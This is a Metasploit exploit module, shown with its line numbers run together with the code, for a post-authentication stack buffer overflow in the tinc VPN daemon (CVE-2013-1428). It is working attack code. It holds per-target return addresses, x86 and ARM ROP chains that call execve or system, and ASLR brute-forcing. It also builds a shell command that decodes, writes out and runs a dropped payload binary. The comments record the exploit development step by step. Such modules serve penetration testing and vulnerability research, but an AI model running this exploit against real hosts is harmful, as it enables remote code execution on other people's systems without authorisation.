Path: blob/master/modules/exploits/multi/vpn/tincd_bof.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'securerandom'67class MetasploitModule < Msf::Exploit::Remote8Rank = AverageRanking910include Msf::Exploit::EXE11include Msf::Exploit::Remote::TincdExploitClient1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Tincd Post-Authentication Remote TCP Stack Buffer Overflow',18'Description' => %q{19This module exploits a stack buffer overflow in Tinc's tincd20service. After authentication, a specially crafted tcp packet (default port 655)21leads to a buffer overflow and allows to execute arbitrary code. This module has22been tested with tinc-1.1pre6 on Windows XP (custom calc payload) and Windows 723(windows/meterpreter/reverse_tcp), and tinc version 1.0.19 from the ports of24FreeBSD 9.1-RELEASE # 0 and various other OS, see targets. The exploit probably works25for all versions <= 1.1pre6.26A manually compiled version (1.1.pre6) on Ubuntu 12.10 with gcc 4.7.2 seems to27be a non-exploitable crash due to calls to __memcpy_chk depending on how tincd28was compiled. Bug got fixed in version 1.0.21/1.1pre7. While writing this module29it was recommended to the maintainer to start using DEP/ASLR and other protection30mechanisms.31},32'Author' => [33# PoC changes (mostly reliability), port python to ruby, exploitation including ROP, support for all OS, metasploit module34'Tobias Ospelt', # @floyd_ch35# original finding, python PoC crash36'Martin Schobert' # @nitram234237],38'References' => [39['CVE', '2013-1428'],40['OSVDB', '92653'],41['BID', '59369'],42['URL', 'http://www.floyd.ch/?p=741'],43['URL', 'http://sitsec.net/blog/2013/04/22/stack-based-buffer-overflow-in-the-vpn-software-tinc-for-authenticated-peers/']44],45'DefaultOptions' => {46'EXITFUNC' => 'process'47},48'Payload' => {49'Space' => 1675,50'DisableNops' => true51},52'Privileged' => true,53'Targets' => [54# full exploitation x86:55['Windows XP x86, tinc 1.1.pre6 (exe installer)', { 'Platform' => 'win', 'Ret' => 0x0041CAA6, 'offset' => 1676 }],56['Windows 7 x86, tinc 1.1.pre6 (exe installer)', { 'Platform' => 'win', 'Ret' => 0x0041CAA6, 'offset' => 1676 }],57['FreeBSD 9.1-RELEASE # 0 x86, tinc 1.0.19 (ports)', { 'Platform' => 'bsd', 'Ret' => 0x0804BABB, 'offset' => 1676 }],58[59'Fedora 19 x86 ROP (NX), write binary to disk payloads, tinc 1.0.20 (manual compile)', {60'Platform' => 'linux', 'Arch' => ARCH_X86, 'Ret' => 0x4d10ee87, 'offset' => 167661}62],63[64'Fedora 19 x86 ROP (NX), CMD exec payload, tinc 1.0.20 (manual compile)', {65'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Ret' => 0x4d10ee87, 'offset' => 167666}67],68['Archlinux 2013.04.01 x86, tinc 1.0.20 (manual compile)', { 'Platform' => 'linux', 'Ret' => 0x08065929, 'offset' => 1676 }],69['OpenSuse 11.2 x86, tinc 1.0.20 (manual compile)', { 'Platform' => 'linux', 'Ret' => 0x0804b07f, 'offset' => 1676 }],70# full exploitation ARM:71[72'Pidora 18 ARM ROP(NX)/ASLR brute force, write binary to disk payloads, tinc 1.0.20 (manual compile with restarting daemon)', {73'Platform' => 'linux', 'Arch' => ARCH_ARMLE, 'Ret' => 0x00015cb4, 'offset' => 166874}75],76[77'Pidora 18 ARM ROP(NX)/ASLR brute force, CMD exec payload, tinc 1.0.20 (manual compile with restarting daemon)', {78'Platform' => 'linux', 'Arch' => ARCH_CMD, 'Ret' => 0x00015cb4, 'offset' => 166879}80],81# crash only:82['Crash only: Ubuntu 12.10 x86, tinc 1.1.pre6 (apt-get or manual compile)', { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }],83['Crash only: Fedora 16 x86, tinc 1.0.19 (yum)', { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }],84['Crash only: OpenSuse 11.2 x86, tinc 1.0.16 (rpm package)', { 'Platform' => 'linux', 'Ret' => 0x0041CAA6, 'offset' => 1676 }],85['Crash only: Debian 7.3 ARM, tinc 1.0.19 (apt-get)', { 'Platform' => 'linux', 'Ret' => 0x9000, 'offset' => 1668 }]86],87'DisclosureDate' => '2013-04-22', # finding, msf module: Dec 201388'DefaultTarget' => 0,89'Notes' => {90'Reliability' => UNKNOWN_RELIABILITY,91'Stability' => UNKNOWN_STABILITY,92'SideEffects' => UNKNOWN_SIDE_EFFECTS93}94)95)9697register_options(98[ # Only for shellcodes that write binary to disk99# Has to be short, usually either . or /tmp works100# /tmp could be mounted as noexec101# . is usually only working if tincd is running as root102OptString.new('BINARY_DROP_LOCATION', [false, 'Short location to drop executable on server, usually /tmp or .', '/tmp']),103OptInt.new('BRUTEFORCE_TRIES', [false, 'How many brute force tries (ASLR brute force)', 200]),104OptInt.new('WAIT', [false, 'Waiting time for server daemon restart (ASLR brute force)', 3])105], self106)107end108109def exploit110# #111# x86112# #113# WINDOWS XP and 7 full exploitation114# Simple, we only need some mona.py magic115# C:\Program Files\tinc>"C:\Program Files\Immunity Inc\Immunity Debugger\ImmunityDebugger.exe" "C:\Program Files\tinc\tincd.exe -D -d 5"116# !mona config -set workingfolder c:\logs\%p117# !mona pc 1682118# --> C:\logs\tincd\pattern119# !mona findmsp120# Straight forward, when we overwrite EIP the second value121# on the stack is pointing to our payload.122# !mona findwild -o -type instr -s "pop r32# ret"123124# FREEBSD full exploitation125# Same offset as windows, same exploitation method126# But we needed a new pop r32# ret for the freebsd version127# No mona.py help on bsd or linux so:128# - Dumped .text part of tincd binary in gdb129# - Search in hex editor for opcodes for "pop r32# ret":130# 58c3, 59c3, ..., 5fc3131# - Found a couple of 5dc3. ret = start of .text + offset in hex editor132# - 0x0804BABB works very well133134# UBUNTU crash only135# Manually compiled version (1.1.pre6) on Ubuntu 12.10 with gcc 4.7.2 seems to be a non-exploitable crash, because136# the bug is in a fixed size (MAXSIZE) struct member variable. The size of the destination is known137# at compile time. gcc is introducing a call to __memcpy_chk:138# http://gcc.gnu.org/svn/gcc/branches/cilkplus/libssp/memcpy-chk.c139# memcpy_chk does a __chk_fail call if the destination buffer is smaller than the source buffer. Therefore it will print140# *** buffer overflow detected *** and terminate (SIGABRT). The same result for tincd 10.0.19 which can be installed141# from the repository. It might be exploitable for versions compiled with an older version of gcc.142# memcpy_chk seems to be in gcc since 2005:143# http://gcc.gnu.org/svn/gcc/branches/cilkplus/libssp/memcpy-chk.c144# http://gcc.gnu.org/git/?p=gcc.git;a=history;f=libssp/memcpy-chk.c;hb=92920cc62318e5e8b6d02d506eaf66c160796088145146# OPENSUSE147# OpenSuse 11.2148# Installation as described on the tincd website. For 11.2 there are two versions.149# Decided for 1.0.16 as this is a vulnerable version150# wget "http://download.opensuse.org/repositories/home:/seilerphilipp/SLE_11_SP2/i586/tinc-1.0.16-3.1.i586.rpm"151# rpm -i tinc-1.0.16-3.1.i586.rpm152# Again, strace shows us that the buffer overflow was detected (see Ubuntu)153# writev(2, [{"*** ", 4}, {"buffer overflow detected", 24}, {" ***: ", 6}, {"tincd", 5}, {" terminated\n", 12}], 5) = 51154# So a crash-only non-exploitable bof here. So let's go for manual install:155# wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz'156# yast -i gcc zlib zlib-devel && echo "yast is still ugly" && zypper install lzo-devel libopenssl-devel make && make && make install157# Exploitable. Let's see:158# tincd is mapped at 0x8048000. There is a 5d3c at offset 307f in the tincd binary. this means:159# the offset to pop ebp; ret is 0x0804b07f160161# FEDORA162# Fedora 16163# yum has version 1.0.19164# yum install tinc165# Non-exploitable crash, see Ubuntu. Strace tells us:166# writev(2, [{"*** ", 4}, {"buffer overflow detected", 24}, {" ***: ", 6}, {"tincd", 5}, {" terminated\n", 12}], 5) = 51167# About yum: Fedora 17 has fixed version 1.0.21, Fedora 19 fixed version 1.0.23168# Manual compile went on with Fedora 19169# wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz'170# yum install gcc zlib-devel.i686 lzo-devel.i686 openssl-devel.i686 && ./configure && make && make install171# Don't forget to stop firewalld for testing, as the port is still closed otherwise172# # hardening-check tincd173# tincd:174# Position Independent Executable: no, normal executable!175# Stack protected: no, not found!176# Fortify Source functions: no, only unprotected functions found!177# Read-only relocations: yes178# Immediate binding: no, not found!179# Running this module with target set to Windows:180# Program received signal SIGSEGV, Segmentation fault.181# 0x0041caa6 in ?? ()182# well and that's our windows offset...183# (gdb) info proc mappings184# 0x8048000 0x8068000 0x20000 0x0 /usr/local/sbin/tincd185# After finding a normal 5DC3 (pop ebp# ret) at offset 69c3 of the binary we186# can try to execute the payload on the stack, but:187# (gdb) stepi188# Program received signal SIGSEGV, Segmentation fault.189# 0x08e8ee08 in ?? ()190# Digging deeper we find:191# dmesg | grep protection192# [ 0.000000] NX (Execute Disable) protection: active193# or:194# # objdump -x /usr/local/sbin/tincd195# [...] STACK off 0x00000000 vaddr 0x00000000 paddr 0x00000000 align 2**4196# filesz 0x00000000 memsz 0x00000000 flags rw-197# or: https://bugzilla.redhat.com/show_bug.cgi?id=996365198# Time for ROP199# To start the ROP we need a POP r32# POP ESP# RET (using the first four bytes of the shellcode200# as a pointer to instructions). Was lucky after some searching:201# (gdb) x/10i 0x4d10ee87202# 0x4d10ee87: pop %ebx203# 0x4d10ee88: mov $0xf5d299dd,%eax204# 0x4d10ee8d: rcr %cl,%al205# 0x4d10ee8f: pop %esp206# 0x4d10ee90: ret207208# ARCHLINUX209# archlinux-2013.04.01 pacman has fixed version 1.0.23, so went for manual compile:210# wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz'211# pacman -S gcc zlib lzo openssl make && ./configure && make && make install212# Offset in binary to 58c3: 0x1D929 + tincd is mapped at starting address 0x8048000213# -->Ret: 0x8065929214# No NX protection, it simply runs the shellcode :)215216# #217# ARM218# #219# ARM Pidora 18 (Raspberry Pi Fedora Remix) on a physical Raspberry Pi220# Although this is more for the interested reader, as Pidora development221# already stopped... Raspberry Pi's are ARM1176JZF-S (700 MHz) CPUs222# meaning it's an ARMv6 architecture223# yum has fixed version 1.0.21, so went for manual compile:224# wget 'http://www.tinc-vpn.org/packages/tinc-1.0.20.tar.gz'225# yum install gdb gcc zlib-devel lzo-devel openssl-devel && ./configure && make && make install226# Is the binary protected?227# wget "http://www.trapkit.de/tools/checksec.sh" && chmod +x checksec.sh228# # ./checksec.sh --file /usr/local/sbin/tincd229# RELRO STACK CANARY NX PIE RPATH RUNPATH FILE230# No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH /usr/local/sbin/tincd231# so again NX... but what about the system things?232# cat /proc/sys/kernel/randomize_va_space233# 2234# --> "Randomize the positions of the stack, VDSO page, shared memory regions, and the data segment.235# This is the default setting."236# Here some examples of the address of the system function:237# 0xb6c40848238# 0xb6cdd848239# 0xb6c7c848240# Looks like we would have to brute force one byte241# (gdb) info proc mappings242# 0x8000 0x23000 0x1b000 0 /usr/local/sbin/tincd243# 0x2b000 0x2c000 0x1000 0x1b000 /usr/local/sbin/tincd244# When we exploit we get the following:245# Program received signal SIGSEGV, Segmentation fault.246# 0x90909090 in ?? ()247# ok, finally a different offset to eip. Let's figure it out:248# $ tools/pattern_create.rb 1676249# Ok, pretty close, it's 1668. If we randomly choose ret as 0x9000 we get:250# (gdb) break *0x9000251# Breakpoint 1 at 0x9000252# See that our shellcode is *on* the stack:253# (gdb) x/10x $sp254# 0xbee14308: 0x00000698 0x00000000 0x00000000 0x00000698255# 0xbee14318: 0x31203731 0x0a323736 0xe3a00002 0xe3a01001 <-- 0xe3a00002 is the start of our shellcode256# 0xbee14328: 0xe3a02006 0xe3a07001257# let's explore the code we can reuse:258# (gdb) info functions259# objdump -d /usr/local/sbin/tincd >assembly.txt260# while simply searching for the bx instruction we were not very lucky,261# but searching for some "pop pc" it's easy to find nice gadgets.262# we can write arguments to the .data section again:263# 0x2b3f0->0x2b4ac at 0x0001b3f0: .data ALLOC LOAD DATA HAS_CONTENTS264# The problem is we can not reliably forecast the system function's address, but it's265# only one byte random, therefore we have to brute force it and/or find a memory leak.266# Let's assume it's a restarting daemon:267# create /etc/systemd/system/tincd.service and fill in Restart=restart-always268269# ARM Debian Wheezy on qemu270# root@debian:~# apt-cache showpkg tinc271# Package: tinc272# Versions:273# 1.0.19-3 (/var/lib/apt/lists/ftp.halifax.rwth-aachen.de_debian_dists_wheezy_main_binary-armhf_Packages)274# nice, that's vulnerable275# apt-get install tinc276# apt-get install elfutils && ln -s /usr/bin/eu-readelf /usr/bin/readelf277# wget "http://www.trapkit.de/tools/checksec.sh" && chmod +x checksec.sh278# # ./checksec.sh --file /usr/sbin/tincd279# RELRO STACK CANARY NX PIE RPATH RUNPATH FILE280# Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH /usr/sbin/tincd281# Puh, doesn't look too good for us, NX enabled, Stack canary present and a partial RELRO, I'm not going to cover this one here282283packet_payload = payload.encoded284# Pidora and Fedora/ROP specific things285if target.name =~ /Pidora 18/ || target.name =~ /Fedora 19/286rop_generator = nil287filename = rand_text_alpha(1)288cd = "cd #{datastore['BINARY_DROP_LOCATION']};"289cd = '' if datastore['BINARY_DROP_LOCATION'] == '.'290291if target.name =~ /Pidora 18/292print_status('Using ROP and brute force ASLR guesses to defeat NX/ASLR on ARMv6 based Pidora 18')293print_status('This requires a restarting tincd daemon!')294print_status('Warning: This is likely to get tincd into a state where it doesn\'t accept connections anymore')295rop_generator = method(:create_pidora_rop)296elsif target.name =~ /Fedora 19/297print_status('Using ROP to defeat NX on Fedora 19')298rop_generator = method(:create_fedora_rop)299end300301if target.arch.include? ARCH_CMD302# The CMD payloads are a bit tricky on Fedora. As of december 2013303# some of the generic unix payloads (e.g. reverse shell with awk) don't work304# (even when executed directly in a terminal on Fedora)305# use generic/custom and specify PAYLOADSTR without single quotes306# it's usually sh -c *bla*307packet_payload = create_fedora_rop(payload.encoded.split(' ', 3))308else309# the binary drop payloads310packet_payload = get_cmd_binary_drop_payload(filename, cd, rop_generator)311if packet_payload.length > target['offset']312print_status("Plain version too big (#{packet_payload.length}, max. #{target['offset']}), trying zipped version")313packet_payload = get_gzip_cmd_binary_drop_payload(filename, cd, rop_generator)314vprint_status("Achieved version with #{packet_payload.length} bytes")315end316end317end318319if packet_payload.length > target['offset']320fail_with(Failure::BadConfig, "The resulting payload has #{packet_payload.length} bytes, we only have #{target['offset']} space.")321end322injection = packet_payload + rand_text_alpha(target['offset'] - packet_payload.length) + [target.ret].pack('V')323324vprint_status("Injection starts with #{injection.unpack('H*')[0][0..30]}...")325326if target.name =~ /Pidora 18/327# we have to brute force to defeat ASLR328datastore['BRUTEFORCE_TRIES'].times do329print_status("Try #{n}: Initializing tinc exploit client (setting up ciphers)")330setup_ciphers331print_status('Telling tinc exploit client to connect, handshake and send the payload')332begin333send_recv(injection)334rescue RuntimeError, Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, ::Timeout::Error, ::EOFError => runtime_error335print_error(runtime_error.message)336print_error(runtime_error.backtrace.join("\n\t"))337rescue Rex::ConnectionRefused338print_error('Server refused connection. Is this really a restarting daemon? Try higher WAIT option.')339sleep(3)340next341end342secs = datastore['WAIT']343print_status("Waiting #{secs} seconds for server to restart daemon (which will change the ASLR byte)")344sleep(secs)345end346print_status("Brute force with #{datastore['BRUTEFORCE_TRIES']} tries done. If not successful you could try again.")347else348# Setup local ciphers349print_status('Initializing tinc exploit client (setting up ciphers)')350setup_ciphers351# The tincdExploitClient will do the crypto handshake with the server and352# send the injection (a packet), where the actual buffer overflow is triggered353print_status('Telling tinc exploit client to connect, handshake and send the payload')354send_recv(injection)355end356print_status('Exploit finished')357end358359def get_cmd_binary_drop_payload(filename, cd, rop_generator)360elf_base64 = Rex::Text.encode_base64(generate_payload_exe)361cmd = ['/bin/sh', '-c', "#{cd}echo #{elf_base64}|base64 -d>#{filename};chmod +x #{filename};./#{filename}"]362vprint_status("You will try to execute #{cmd.join(' ')}")363rop_generator.call(cmd)364end365366def get_gzip_cmd_binary_drop_payload(filename, cd, rop_generator)367elf_zipped_base64 = Rex::Text.encode_base64(Rex::Text.gzip(generate_payload_exe))368cmd = ['/bin/sh', '-c', "#{cd}echo #{elf_zipped_base64}|base64 -d|gunzip>#{filename};chmod +x #{filename};./#{filename}"]369vprint_status("You will try to execute #{cmd.join(' ')}")370rop_generator.call(cmd)371end372373def create_pidora_rop(sys_execv_args)374sys_execv_args = sys_execv_args.join(' ')375sys_execv_args += "\x00"376377aslr_byte_guess = SecureRandom.random_bytes(1).ord378print_status("Using 0x#{aslr_byte_guess.to_s(16)} as random byte for ASLR brute force (hope the server will use the same at one point)")379380# Gadgets tincd381# c714: e1a00004 mov r0, r4382# c718: e8bd8010 pop {r4, pc}383mov_r0_r4_pop_r4_ret = [0x0000c714].pack('V')384pop_r4_ret = [0x0000c718].pack('V')385# 1cef4: e580400c str r4, [r0, #12]386# 1cef8: e8bd8010 pop {r4, pc}387# mov_r0_plus_12_to_r4_pop_r4_ret = [0x0001cef4].pack('V')388389# bba0: e5843000 str r3, [r4]390# bba4: e8bd8010 pop {r4, pc}391mov_to_r4_addr_pop_r4_ret = [0x0000bba0].pack('V')392393# 13ccc: e1a00003 mov r0, r3394# 13cd0: e8bd8008 pop {r3, pc}395pop_r3_ret = [0x00013cd0].pack('V')396397# address to start rop (removing 6 addresses of garbage from stack)398# 15cb4: e8bd85f0 pop {r4, r5, r6, r7, r8, sl, pc}399# start_rop = [0x00015cb4].pack('V')400# see target Ret401402# system function address base to brute force403# roughly 500 tests showed addresses between404# 0xb6c18848 and 0xb6d17848 (0xff distance)405system_addr = [0xb6c18848 + (aslr_byte_guess * 0x1000)].pack('V')406407# pointer into .data section408loc_dot_data = 0x0002b3f0 # a location inside .data409410# Rop into system(), prepare address of payload in r0411rop = ''412413# first, let's put the payload into the .data section414415# Put the first location to write to in r4416rop += pop_r4_ret417418sys_execv_args.scan(/.{1,4}/).each_with_index do |argument_part, i|419# Give location inside .data via stack420rop += [loc_dot_data + i * 4].pack('V')421# Pop 4 bytes of the command into r3422rop += pop_r3_ret423# Give 4 bytes of command on stack424if argument_part.length == 4425rop += argument_part426else427rop += argument_part + rand_text_alpha(4 - argument_part.length)428end429# Write the 4 bytes to the writable location430rop += mov_to_r4_addr_pop_r4_ret431end432433# put the address of the payload into r4434rop += [loc_dot_data].pack('V')435436# now move r4 to r0437rop += mov_r0_r4_pop_r4_ret438rop += rand_text_alpha(4)439# we don't care what ends up in r4 now440441# call system442rop += system_addr443end444445def create_fedora_rop(sys_execv_args)446# Gadgets tincd447loc_dot_data = 0x80692e0 # a location inside .data448pop_eax = [0x8065969].pack('V') # pop eax; ret449pop_ebx = [0x8049d8d].pack('V') # pop ebx; ret450pop_ecx = [0x804e113].pack('V') # pop ecx; ret451xor_eax_eax = [0x804cd60].pack('V') # xor eax eax; ret452# <ATTENTION> This one destroys ebx:453mov_to_eax_addr = [0x805f2c2].pack('V') + rand_text_alpha(4) # mov [eax] ecx ; pop ebx ; ret454# </ATTENTION>455456# Gadgets libcrypto.so.10 libcrypto.so.1.0.1e457xchg_ecx_eax = [0x4d170d1f].pack('V') # xchg ecx,eax; ret458# xchg_edx_eax = [0x4d25afa3].pack('V') # xchg edx,eax ; ret459# inc_eax = [0x4d119ebc].pack('V') # inc eax ; ret460461# Gadgets libc.so.6 libc-2.17.so462pop_edx = [0x4b5d7aaa].pack('V') # pop edx; ret463int_80 = [0x4b6049c5].pack('V') # int 0x80464465# Linux kernel system call 11: sys_execve466# ROP467rop = ''468469index = 0470stored_argument_pointer_offsets = []471472sys_execv_args.each_with_index do |argument, argument_no|473stored_argument_pointer_offsets << index474argument.scan(/.{1,4}/).each_with_index do |argument_part, i|475# Put location to write to in eax476rop += pop_eax477# Give location inside .data via stack478rop += [loc_dot_data + index + i * 4].pack('V')479# Pop 4 bytes of the command into ecx480rop += pop_ecx481# Give 4 bytes of command on stack482if argument_part.length == 4483rop += argument_part484else485rop += argument_part + rand_text_alpha(4 - argument_part.length)486end487# Write the 4 bytes to the writable location488rop += mov_to_eax_addr489end490# We have to end the argument with a zero byte491index += argument.length492# We don't have "xor ecx, ecx", but we have it for eax...493rop += xor_eax_eax494rop += xchg_ecx_eax495# Put location to write to in eax496rop += pop_eax497# Give location inside .data via stack498rop += [loc_dot_data + index].pack('V')499# Write the zeros500rop += mov_to_eax_addr501index += 1 # where we can write the next argument502end503504# Append address of the start of each argument505stored_argument_pointer_offsets.each do |offset|506rop += pop_eax507rop += [loc_dot_data + index].pack('V')508rop += pop_ecx509rop += [loc_dot_data + offset].pack('V')510rop += mov_to_eax_addr511index += 4512end513# end with zero514rop += xor_eax_eax515rop += xchg_ecx_eax516517rop += pop_eax518rop += [loc_dot_data + index].pack('V')519rop += mov_to_eax_addr520521rop += pop_ebx522rop += [loc_dot_data].pack('V')523524rop += pop_ecx525rop += [loc_dot_data + sys_execv_args.join(' ').length + 1].pack('V')526527rop += pop_edx528rop += [loc_dot_data + index].pack('V')529530# sys call 11 = sys_execve531rop += pop_eax532rop += [0x0000000b].pack('V')533534rop += int_80535end536end537538539